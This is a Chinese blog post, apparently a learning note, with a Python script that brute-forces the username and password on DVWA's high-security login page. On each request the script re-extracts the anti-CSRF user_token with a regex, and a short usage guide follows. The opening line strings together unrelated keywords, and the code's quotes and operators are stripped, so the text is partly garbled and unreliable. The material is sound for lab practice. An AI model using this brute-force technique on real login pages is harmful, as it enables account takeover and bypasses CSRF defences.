加强机关网站内容建设,门户网站建设的书籍,国外用python做的网站,桂林象鼻山夜景目录
写在前面
使用方法
相关代码 写在前面
最近在学习使用Burp Suite时发现其intruder模块无法实现多种模式的混合使用#xff0c;就如想要暴力破解账号和口令两个区域并同时跟踪网页的csrf_token时BP似乎不能很方便的实现这一功能#xff0c;于是自己在练习时就想到了用…目录
写在前面
使用方法
相关代码 写在前面
最近在学习使用Burp Suite时发现其intruder模块无法实现多种模式的混合使用就如想要暴力破解账号和口令两个区域并同时跟踪网页的csrf_token时BP似乎不能很方便的实现这一功能于是自己在练习时就想到了用python脚本的方式来弥补BP中的这一欠缺其中的核心便是用python中的正则匹配库实现对Response内容的分析和定位需要获取的内容
相关代码
import requests
import re# 填入请求地址
url http://192.168.160.131/DVWA/vulnerabilities/brute/
# 填入请求头中的Cookie值
cookie securityhigh; PHPSESSIDekjn7547iglbc0stpsef2m9gm3
# 填入页面中下次一请求需要携带的csrf_token值
csrf_token 99095598fea3cf9d615b2687747aaf5f
bf_flag False
# success为未知但可以尝试出登陆失败的信息
success
failure Username and/or password incorrect
count 0
# 定义正则表达式匹配规则匹配某个input标签中name为user_token的字段的value值
# input[^]匹配以input开始到字符串
# 正则表达式的规则中号后面的规则会继续对加号前面所匹配到字符串做处理相当于层层筛选
# name[\]user_token[\]匹配nameuser_token或nameuser_token字符串
# [^]value[\]在input标签中找到属性value
# ([^\])用来获取到匹配到的value中属性的值
# [^\]匹配非引号的字符
model rinput[^]name[\]user_token[\][^]value[\]([^\])[\]with open(./user.txt, r) as file_usr:with open(./pswd.txt, r) as file_pwd:while not bf_flag:first file_usr.readline()if not first:break# 在内层循环之前重置文件指针到文件开头实现遍历file_pwd.seek(0)while not bf_flag:second file_pwd.readline()if not second:breakfirst first.strip()second second.strip()count 1response requests.get(url url,params {username:first, password:second, Login:Login, user_token:csrf_token},headers {Cookie:cookie})match re.search(model, response.text)if match:# 获取正则表达式匹配到的内容这里正常情况下只会匹配到一个用.group(1)即可csrf_token match.group(1)else:print(获取token失败请检查匹配规则)if failure in response.text:print(第 str(count) 次尝试--失败,first second)else:print(第 str(count) 次尝试--成功,first second)bf_flag True;break;使用方法
在登陆界面随意尝试查看并复制请求头中的Cookie值 在页面元素中查找下一次向服务器请求所需要的csrf_token值 填写到脚本的对应位置 根据自己的情况分别引入账号、口令两个字典文件 运行代码等待破解成功